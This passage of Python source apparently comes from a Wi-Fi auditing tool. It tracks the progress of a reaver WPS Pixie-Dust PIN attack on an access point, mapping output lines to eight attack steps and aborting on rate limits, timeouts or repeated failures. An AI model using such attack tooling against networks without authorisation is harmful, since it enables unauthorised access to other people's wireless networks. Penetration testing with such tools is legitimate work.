            if 'Waiting for beacon from' in stdout_last_line:
                step = '({C}step 1/8{W}) waiting for beacon'
            elif 'Associated with' in stdout_last_line:
                step = '({C}step 2/8{W}) waiting to start session'
            elif 'Starting Cracking Session.' in stdout_last_line:
                step = '({C}step 3/8{W}) waiting to try pin'
            elif 'Trying pin' in stdout_last_line:
                step = '({C}step 4/8{W}) trying pin'
            elif 'Sending EAPOL START request' in stdout_last_line:
                step = '({C}step 5/8{W}) sending eapol start request'
            elif 'Sending identity response' in stdout_last_line:
                step = '({C}step 6/8{W}) sending identity response'
            elif 'Sending M2 message' in stdout_last_line:
                step = '({C}step 7/8{W}) sending m2 message (may take a while)'
            elif 'Detected AP rate limiting,' in stdout_last_line:
                if Configuration.wps_skip_rate_limit:
                    Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
                    # TODO: Argument for --ignore-rate-limit
                    '''
                    Color.pl('{!} {O}use {R}--ignore-rate-limit{O} to ignore' +
                             ' this kind of failure in the future')
                    '''
                    break
                step = '({C}step -/8{W}) waiting for AP rate limit'

            if 'WPS pin not found' in stdout:
                Color.pl('{R}failed: {O}WPS pin not found{W}')
                break

            # TODO: Timeout check
            if reaver.running_time() > Configuration.wps_pixie_timeout:
                Color.pl('{R}failed: {O}timeout after %d seconds{W}' %
                         Configuration.wps_timeout)
                break

            # Reaver Failure/Timeout check
            fail_count = stdout.count('WPS transaction failed')
            if fail_count > Configuration.wps_fail_threshold:
                Color.pl('{R}failed: {O}too many failures (%d){W}' %
                         fail_count)
                break
            timeout_count = stdout.count('Receive timeout occurred')
            if timeout_count > Configuration.wps_timeout_threshold:
                Color.pl('{R}failed: {O}too many timeouts (%d){W}' %
                         timeout_count)
                break

            # Display status of Pixie-Dust attack
            Color.p('{W}%s{W}' % step)

            continue

        # Attack failed, already printed reason why
        reaver.interrupt()
        stdout_write.close()
        return False